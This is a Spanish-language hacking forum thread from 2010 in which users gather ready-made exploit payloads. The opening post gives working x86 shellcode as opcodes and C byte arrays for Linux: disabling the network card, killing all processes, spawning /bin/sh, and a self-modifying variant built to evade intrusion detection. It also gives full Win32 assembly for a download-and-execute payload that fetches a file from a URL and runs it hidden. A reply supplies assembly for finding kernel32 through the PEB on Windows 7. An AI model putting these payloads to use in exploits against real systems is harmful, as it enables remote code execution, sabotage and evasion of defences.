elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 20:49  


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Payloads curiosos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Payloads curiosos  (Leído 2,065 veces)
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Payloads curiosos
« en: 4 Abril 2010, 22:17 »

Hola a todos, creo post para que entre todos recopilemos payloads concretos, puesto que cuando creamos o usamos un exploit a vaces no queremos provocar un DDoS o un shell remota y nos interesa hacer mejor otras cosas, aqui van ya opcodeados:

75 Bytes - Desactivar la tarjeta de red:
Código
 * 08048060 <_start>:
* 8048060:       6a 0b                   push   $0xb
* 8048062:       58                      pop    %eax
* 8048063:       99                      cltd
* 8048064:       52                      push   %edx
* 8048065:       68 64 6f 77 6e          push   $0x6e776f64
* 804806a:       89 e6                   mov    %esp,%esi
* 804806c:       52                      push   %edx
* 804806d:       68 65 74 68 30          push   $0x30687465  < (eth0) you can change it for other Network card
* 8048072:       89 e1                   mov    %esp,%ecx
* 8048074:       52                      push   %edx
* 8048075:       68 6e 66 69 67          push   $0x6769666e
* 804807a:       68 69 66 63 6f          push   $0x6f636669
* 804807f:       68 69 6e 2f 2f          push   $0x2f2f6e69
* 8048084:       68 2f 2f 73 62          push   $0x62732f2f
* 8048089:       89 e3                   mov    %esp,%ebx
* 804808b:       52                      push   %edx
* 804808c:       56                      push   %esi
* 804808d:       51                      push   %ecx
* 804808e:       53                      push   %ebx
* 804808f:       89 e1                   mov    %esp,%ecx
* 8048091:       cd 80                   int    $0x80
*
*/
 
main()
{
char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x51\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x6b\x0c\x59\x9a\x53\x69\x65\x70"
"\x78\x6f\x8a\xe7\x53\x69\x66\x75"
"\x69\x31\x8a\xe2\x53\x69\x6f\x67"
"\x6a\x68\x69\x6a\x67\x64\x70\x69"
"\x6a\x6f\x30\x30\x69\x30\x30\x74"
"\x63\x8a\xe4\x53\x57\x52\x54\x8a"
"\xe2\xce\x81";

61 Bytes - Cerrar todos los procesos de sistema(KillAll):

Código
char shellcode[] =	
 
"\xeb\x11\x5e\x31\xc9\xb1\x37\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x32\xc1\x51\x67\x69\x6d\x36\x69"
"\x6d\x6d\x62\x6d\x69\x6f\x30\x6c"
"\x6a\x69\x30\x74\x63\x6a\x8a\xe4"
"\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c"
"\xce\x81\x41\xce\x81";
 

48 Bytes - /bin/sh (Lanzador):

Código
char shellcode[] = 	"\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
"\x32\xc1\x51\x69\x30\x30\x74\x69"
"\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
"\x54\x8a\xe2\x9a\xb1\x0c\xce\x81";
 

64 Bytes - Shellcode self-modifying para evadir IDS:

Código
.globl _start
_start:
jmp _findOut
_WhereAmI:
pop %edx // Save our payload's address g20
mov %edx, %esi // and save it 4 later
_loopMakeInt80s:
mov (%edx), %eax
cmpw $0x7dca, %ax // Find this guy ( 0x7dca ) and
jne _no
addw $0x303, %ax // 0x7dca + 0x303 == 0x80cd ( int $0x80 )
mov %eax, (%edx)
_no:
incb %dl
cmp $0x41414141, %eax // Use '
AAAA' as end Marker.
jne _loopMakeInt80s
jmp *%esi // Jump to our converted code when done
_findOut:
call _WhereAmI
_payload: // Paste your shell code here and then replace
xor %edx, %edx // "\xcd\x80" (int $0x80) for .ascii "\xca7d"
push $0xb // and end with .ascii "AAAA" as end marker
pop %eax
cltd
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %edx
push %ebx
mov %esp,%ecx
.ascii "\xca\x7d" // + 0x303 = 0xcd80 (int $0x80)
.ascii "AAAA"
=== SOURCE CODE ====
*/
 
 
char shellcode[] =  \xeb\x1c\x5a\x89\xd6\x8b\x02\x66
                             \x3d\xca\x7d\x75\x06\x66\x05\x03
                             \x03\x89\x02\xfe\xc2\x3d\x41\x41
                             \x41\x41\x75\xe9\xff\xe6\xe8\xdf
                             \xff\xff\xff\x31\xd2\x6a\x0b\x58
                             \x99\x52\x68\x2f\x2f\x73\x68\x68
                             \x2f\x62\x69\x6e\x89\xe3
                            \x52\x53\x89\xe1\xca\x7d\x41\x41\x41\x41";
 

124 Bytes - Win32 Download and execute Payload:

Código
    .386
     .model flat,stdcall
 
     ROL_CONSTANT equ 5
 
     mrol macro iNum:req,iBits:req
          exitm <(iNum shl iBits) or (iNum shr (32-iBits))>
     endm
 
     mror macro iNum:req,iBits:req
          exitm <(iNum shr iBits) or (iNum shl (32-iBits))>
     endm
 
     hashapi macro szApi
             local dwApi
 
             dwApi = 0
 
             forc x,szApi
                  dwApi = dwApi + '&x'
                  dwApi = mrol(dwApi,ROL_CONSTANT)
             endm
             dwApi = mrol(dwApi,ROL_CONSTANT)
             dw (dwApi and 0ffffh)
     endm
 
     .code
 
     assume fs:nothing
 
code_start:
     jmp load_data
IFDEF TEST_CODE
extern URLDownloadToFileA   :proc
     call URLDownloadToFileA                     ; included when assembled with /DTEST_CODE
ENDIF
setup_parameters:
     pop edi                                     ; offset @cmd_start
     xor eax,eax                                 ; eax = 0
     cdq                                         ; edx = 0
     ; ********************************************************************
     push eax                                    ; exit code  = 0
     ; ********************************************************************
     push eax                                    ; SW_HIDE
     mov dl,(@cmd_end-@cmd_start)-1              ; this allows command up to 255 bytes
     push edi                                    ; file name to execute
     ; ********************************************************************
     push eax                                    ; callback routine URLDownLoadToFileA
     push eax                                    ; reserved, must be zero
     push edi                                    ; file name to save as
     add edi,edx                                 ; get offset of @url_start-1
     stosb                                       ; zero tail end
     mov dl,(@url_end-@url_start)-1              ; limit of 255 bytes for url
     push edi                                    ; url to download file from
     push eax                                    ; interface
     add edi,edx                                 ; get offset of @urlmon-1
     stosb                                       ; zero tail end of url
     ; *********************************************************************
load_modules:
     push edi                   ; save current offset to hashes
     push 30h
     pop ecx
     mov eax,fs:[ecx]           ; PEB base address
     mov eax,[eax+0ch]          ; PEB_LDR_DATA LoaderData
     mov ebp,[eax+1ch]          ; LIST_ENTRY InMemoryOrderModuleList
scan_dll:
     mov ebx,[ebp+8]            ; DllBase
     mov ebp,[ebp]              ; Flink
     push ebp                   ; save
 
     mov eax,[ebx+3ch]
     mov eax,[ebx+eax+78h] ; IMAGE_DIRECTORY_ENTRY_EXPORT
     lea esi,[ebx+eax+18h] ; offset IMAGE_EXPORT_DIRECTORY.NumberOfNames
     lodsd
     xchg eax,ecx               ; ecx = NumberOfNames
 
     lodsd
     add eax,ebx                ; AddressOfFunctions
     push eax
 
     lodsd
     lea edi,[eax+ebx]          ; AddressOfNames
 
     lodsd
     lea ebp,[eax+ebx] ; ebp = AddressOfNameOrdinals
load_api:
     mov esi,[edi+4*ecx-4]
     add esi,ebx
     xor eax,eax
     cdq
hash_api:
     lodsb
     add edx,eax
     rol edx,ROL_CONSTANT
     dec eax
     jns hash_api
 
     mov esi,[esp+8]                             ; get api hashes
     cmp dx,word ptr[esi]                        ; found a match?
     je call_api
 
     loop load_api
     pop eax                                     ; check
     pop ebp                                     ;
     jmp scan_dll
call_api:
     pop eax
     movzx edx,word ptr [ebp+2*ecx-2]
     add ebx,[eax+4*edx]
     pop ebp                                     ; modules
     pop edi                                     ; api hashes
     call ebx                                    ; call api
     stosw                                       ; advance 2 bytes to next hash
     jmp load_modules                             ; do another, just keep going until ExitProcess is reached.
     ; *************************
load_data:
     call setup_parameters
@cmd_start:
     db 'file.exe',0ffh                          ; WinExec("file.exe",SW_HIDE);
@cmd_end:
@url_start:
     db 'http://127.0.0.1/file.exe',0ffh         ; url of file to download
@url_end:
     hashapi <URLDownloadToFileA>
     hashapi <WinExec>
     hashapi <ExitProcess>
 
 

24 Bytes - Hacer BEEP!:

Código
char[] shellcode = "\x33\xC0\xB8\x8F\x7A\x83\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xFA\xCA\x81\x7C\xFF\xD0";
 
 


Esos son los mas interesantes que he visto por milw0rm, haber si conoceis alguno mas.


Saludos
En línea

AlbertoBSD
Estudiante y
Colaborador
***
Desconectado Desconectado

Mensajes: 1.955


Anonymous & Paranoid


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #1 en: 6 Abril 2010, 21:53 »

Hay muchos, hay algunos para agregar lineas al /etc/shadow. Para reiniciar. Darle permisos 4755 a chown y chmod. Solo es cuestion de buscarlos, otra cosa es agregar las plataformas y hardware para el que funcionan. xD
En línea

Bien Super Divertido
@wifigdlmx
[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.060


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #2 en: 7 Abril 2010, 20:34 »

El Download&Exec no funcionará en Win7  :P. Estúpido Win7  :xD.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Debci
Wiki

Desconectado Desconectado

Mensajes: 1.945


Actualizate o muere!


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #3 en: 8 Abril 2010, 21:54 »

El Download&Exec no funcionará en Win7  :P. Estúpido Win7  :xD.

Saludos
El UAC nuevo o asi? No tenia noticia de nada de esto xD

Saludos
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.060


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #4 en: 8 Abril 2010, 22:04 »

No, el PEB cambia en Win7, Kernel32 ya no es necesariamente la segunda DLL que aparece en la estructura, por lo que todas las shellcodes que utilizaban el PEB anteriores a Win7 no funcionan en él, así como mucho malware como el Poison Ivy  :P. En este puse una posible forma de obtener el handle a kernel32 correctamente.

Código
	xor eax,eax
mov esi,fs:[eax+30h]
mov esi,[esi+0Ch]
mov esi,[esi+1Ch]
next_module: ;Bucle que recorre las los FLink's
mov ebp,[esi+08h]
mov edi,[esi+20h]
mov esi,[esi]
cmp [edi+12*2],al ;Comprueba la longitud (unicode) len('kernel32.dll')=12*2
jne next_module
cmp byte ptr[edi],6Bh ;compara la primera letra es 'k'
je find_kernel32_finished
cmp byte ptr[edi],4Bh
je find_kernel32_finished ;compara si la primera letra es 'K'
jmp next_module
find_kernel32_finished:
mov ecx,ebp ;ecx=hKernel32
 

Aunque lo ideal sería hacer más comparaciones para asegurarse de que es la dll correcta.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.191


Se siente observado ¬¬'


Ver Perfil
Re: Payloads curiosos
« Respuesta #5 en: 9 Abril 2010, 04:15 »

@Hacker_Zero: Serviria incluso solo comprobando si la cadena es de 24 bytes, ya que en ninguna version de W$ conocida se carga antes que K32 ninguna DLL con ese mismo tamaño de nombre :D
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.060


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #6 en: 9 Abril 2010, 16:29 »

Está kernelba.dll, pero funcionaría igual  ;D. Bueno, pos unos bytes que se ahorran  :).

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Karcrack


Desconectado Desconectado

Mensajes: 2.191


Se siente observado ¬¬'


Ver Perfil
Re: Payloads curiosos
« Respuesta #7 en: 9 Abril 2010, 16:43 »

Está kernelba.dll, pero funcionaría igual  ;D. Bueno, pos unos bytes que se ahorran  :).

Saludos
Que es KernelBA? :xD :xD
En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.060


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Payloads curiosos
« Respuesta #8 en: 9 Abril 2010, 17:25 »

Está kernelba.dll, pero funcionaría igual  ;D. Bueno, pos unos bytes que se ahorran  :).

Saludos
Que es KernelBA? :xD :xD

Retiro lo dicho, es kernelbaSE  :xD. El olly corta el nombre por ser demasiado largo  :¬¬ .

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ejemplos de payloads
Hacking Básico
inquilin@19 0 538 Último mensaje 14 Noviembre 2011, 17:20
por inquilin@19
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines